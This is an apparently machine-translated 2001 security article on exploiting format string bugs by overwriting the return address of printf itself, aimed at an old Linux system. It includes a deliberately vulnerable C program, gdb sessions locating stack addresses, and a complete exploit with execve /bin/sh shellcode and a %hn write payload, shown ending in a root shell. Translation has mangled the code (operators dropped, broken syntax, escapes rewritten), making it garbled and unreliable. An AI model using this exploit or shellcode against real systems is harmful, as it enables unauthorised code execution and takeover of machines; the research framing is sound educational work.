Using the formatting string overlay * printf () series function itself return address
Creation time: 2001-10-29
Article attribute: original
Article Source:
http://www.xfocus.org/
Article submission:
Alert7 (sztcww_at_sina.com)
Using the formatting string overlay * printf () series function itself return address
Author: alert7 Alert7@xfocus.org > Home: Http://www.netguard.com.cn http://www.xfocus.org Time: 2001-10-26 Test Environment: Linux Redhat 6.2 Kernel 2.2.14 ★ Foreword Six comparisons listed in the << Exploiting Format String Vulnerabilities V1.2 >> written in Scut General methods to get control: Coverage GOT 2. Using DTORS 3. Using C Library Hooks 4. Use the ATEXIT structure (static compiling version) 5. Cover function pointer 6. Cover JMPBUF'S Here, don't want to discuss these things, please refer to the relevant information But sometimes you can only cover the address space of 0xBFFFFFFFFFFFFfffff because it is format string. The program has been restricted, and the program calls exit (0), (maybe you have not encountered such a similar vulnerability program, but I It is more demanding than this request: () so using the C library hooks with the C library hooks These technologies do not pass because these addresses are headed at 0x08 (C Library Hooks is a 0x04 head). MAIN The return address is not possible. That is whipped to something to make our shellcode get control. ★ Cover the format function to return your address In the case of a general buffer overflow, it is impossible to overwrite the return address of the glibc function, But Format String gave us a chance, and individuals think that accuracy will be higher. For example, Printf (BUF), uses the formatted BUF to overwrite the return address of the PrintF function. ★ Procedure for formatted strings [alert7 @ redhat62 alert7] # cat vul.c #include INT main (int Argc, char ** argv) { Char BUF [10000]; Bzero (BUF, 10000); IF (argc == 2) { STRNCPY (BUF, Argv [1], 9999); Printf (BUF); } } [alert7 @ redhat62 alert7] # gcc -o vul vul.c -g ★ Accurate positioning of several data Number of spam data (in 4 bytes) [Alert7 @ redhat62 alert7] # ./vul aaaa% P% P% P% P% P% P% P% P% P AAAA0X616161610X702570250X702570250X702570250X702570250X7025 (NIL) (NIL) (nil) We see there is no junk data x = 0; if you don't understand what is going on, please check << Exploiting Format String VulneRabilities >> Two View Format String Address [alert7 @ redhat62 alert7] # gdb vul -q (GDB) Disass MageMP of Assembler Code for Function Main: 0x8048438 0x8048439 0x804843B 0x8048441 0x8048446 0x804844C 0x804844d 0x8048452 0x8048455 0x8048459 0x804845B 0x8048460 0x8048463 0x8048466 0x8048468 0x8048469 0x804846f 0x8048470 0x8048475 0x8048478 0x804847e 0x804847f 0x8048484 0x8048487 0x8048488 End of assembler dump. (GDB) B * 0x804847F Breakpoint 1 at 0x804847f: File Vul. C, Line 8. (GDB) R AAAA Starting Program: / Home / Alert7 / Overflow / Sploit / Vul Aaaa Breakpoint 1, 0x804847f in main (argc = 2, argv = 0xBffffba4) at Vul.c: 8 8 Printf (BUF); (GDB) P & BUF $ 1 = (char (*) [10000]) 0xBFFD468 ~~~~~~~~~~~~~~~~~~~~~~~ ^ 0xBFFFD468 Format String Addr (GDB) I REG $ EAX $ ESP $ EBP EAX 0xBFFFD468 -1073752984 ESP 0xBFFFD464 -1073752988 EBP 0xBFFFFB78 -1073742984 (GDB) X / 8X 0xBFFD450 0xBFFFD450: 0xBFFD468 0xBffffB78 0x08048475 0xBFFFD468 0xBFFFD460: 0xBffFFFCBF 0xBFFD468 0x61616161 0x00000000 (GDB) Si 0x8048354 in printf () AT printf.c: 26 26 Printf.c: no such file or directory. (GDB) X / 8X 0xBFFD450 0xBFFFD450: 0xBFFD468 0xBffffB78 0x08048475 0xBFFFD468 0xBffFD460: 0x08048484 0xBFFD468 0x61616161 0x00000000 ~~~~~~~~~~~~~~~~~ ^ On this address, it has become 0x08048484, which is the return address of the Printf function. So we also found the address stored by the printf function: 0xBfffd460 In fact, the content of the 0xBFFD464 address is what push% EAX go. 0xBFFD460 is the EIP storage address for the stack frame of the Printf context Three calculate the address stored in the PRINTF function Now use the formula to express the address stored by the Printf function: (Format string addr) - (x * 4) -8 Format String Addr is a violent guess. X can be easily obtained, so this address is very accurate. Of course, different systems are different formatters, etc., will result in * Printf series functions to return the address stored in the address, need Self-study and correct formulas, just a simple demonstration, intended to throw bricks. ★ Look at our utilization [alert7 @ redhat62 alert7] # Cat Exp.c / * e * / #include #include #define default_offset 0 #define default_alignment 0 #define default_retloc 0xBFFFD468-0 * 4-8 // f-x * 4-8 // f is a format string address // x is the number of garbage, x * 4 is // From the length of ESP to F #define nop 0x90 Char shellcode [] = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "" "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 / X90 " "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; INT Main (int Argc, char * argv []) { Char * PTR; Long shell_addr, retloc = default_retloc; INT I, SH1, SH2; Char BUF [512]; Char BUF1 [5000]; Printf ("Using Ret Location Address: 0x% x / n", Retloc); Shell_addr = RETLOC 80; Printf ("Using Shellcode Address: 0x% X / N", Shell_Addr); SH1 = (Shell_ADDR >> 16) & 0xffff; // sh1 = 0xBFFF SH2 = (Shell_ADDR >> 0) & 0xffff; // sh2 = 0xD3A8 PTR = BUF; IF ((SH1) <(SH2)) { MEMSET (PTR, 'B', 4); PTR = 4; (* PTR ) = (Retloc 2) & 0xFF; (* PTR ) = ((Retloc 2) >> 8) & 0xFF; (* PTR ) = ((Retloc 2) >> 16) & 0xFF; (* PTR ) = ((Retloc 2) >> 24) & 0xFF; MEMSET (PTR, 'B', 4); PTR = 4; (* PTR ) = (RETLOC) & 0xFF; (* PTR ) = ((RETLOC) >> 8) & 0xFF; (* PTR ) = ((RETLOC) >> 16) & 0xFF; (* PTR ) = (RETLOC) >> 24) & 0xFF; Sprintf (PTR, "%%% UC %% HN %%% UC %% HN", (SH1-8 * 2), (SH2-SH1)); / * Recommended to construct the formatting string to use% hn * / } IF ((SH1)> (SH2)) { MEMSET (PTR, 'B', 4); PTR = 4; (* PTR ) = (RETLOC) & 0xFF; (* PTR ) = ((RETLOC) >> 8) & 0xFF; (* PTR ) = ((RETLOC) >> 16) & 0xFF; (* PTR ) = (RETLOC) >> 24) & 0xFF; MEMSET (PTR, 'B', 4); PTR = 4; (* PTR ) = (Retloc 2) & 0xFF; (* PTR ) = ((Retloc 2) >> 8) & 0xFF; (* PTR ) = ((Retloc 2) >> 16) & 0xFF; (* PTR ) = ((Retloc 2) >> 24) & 0xFF; Sprintf (PTR, "%%% UC %% HN %%% UC %% HN", (SH2-8 * 2), (SH1-SH2)); } IF ((sh1) == (SH2)) { Printf ("You cannot use a printf to implement this / N"); } Sprintf (buf1, "% s% s", buf, shellcode; Execle ("./ Vul", "Vul", BUF1, NULL, NULL; } [alert7 @ redhat62 alert7] # gcc -o exp .c [alert7 @ redhat62 alert7] # ./exp ... (omitted some PRINTF out of chaos) B 隵 1 繤 f ? Bamboo ? 圬 @? / bin / sh [alert7 @ redhat62 alert7] # How can I not succeed, let's take a look at what is going on, add a SLEEP (30) before Vul.c's Printf (BUF); First run on a TTY ./exp, on another TTY: [alert7 @ redhat62 / alert7] # ps -aux | grep vul Alert7 892 0.3 0.3 1084 296 PTS / 0 s 10:41 0:00 Vul bbbbb? 緽 bbb` Alert7 895 0.0 0.5 1360 508 PTS / 3 S 10:42 0:00 Grep Vul [alert7 @ redhat62 alert7] # gdb vul -q (GDB) ATTACH 892 Attaching to Program: / Home / Alert7 / Vul, PID 892 Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. 0x400A9C61 in __libc_nanosleep () from /lib/libc.so.6 (GDB) B Printf BreakPoint 1 at 0x4006605c: File Printf.c, Line 30. (GDB) C Continuing. BreakPoint 1, Printf ( Format = 0xBFFD718 "BBBBB? 緽 BBB`? 49135C% HN% 5297C% HN", '/ 220' 0 柢 "...) at printf.c: 30 30 printf.c: no such file or directory. We can see that the format string address from execle is not the original 0xBFFD468, but now Format = 0xBFFD718, so our EXPLOIT program should modify this address. Recompilated execution. [alert7 @ redhat62 alert7] # ./exp ..... (omitted some PRINTF out of chaos) B 隵 1 繤 f Bamboo ? 圬 @ 蚥 ASH # Bash # :) OK, success! ! ! ★ small knot Using the formatted string overlay * Printf () series function itself The return address should be a very good method, and in the format string The problem is very advantageous, the accuracy is higher. Finally, welcome to Email discussion. Reference: << Exploiting Format String Vulnerabilities >> by Scut / Team Teso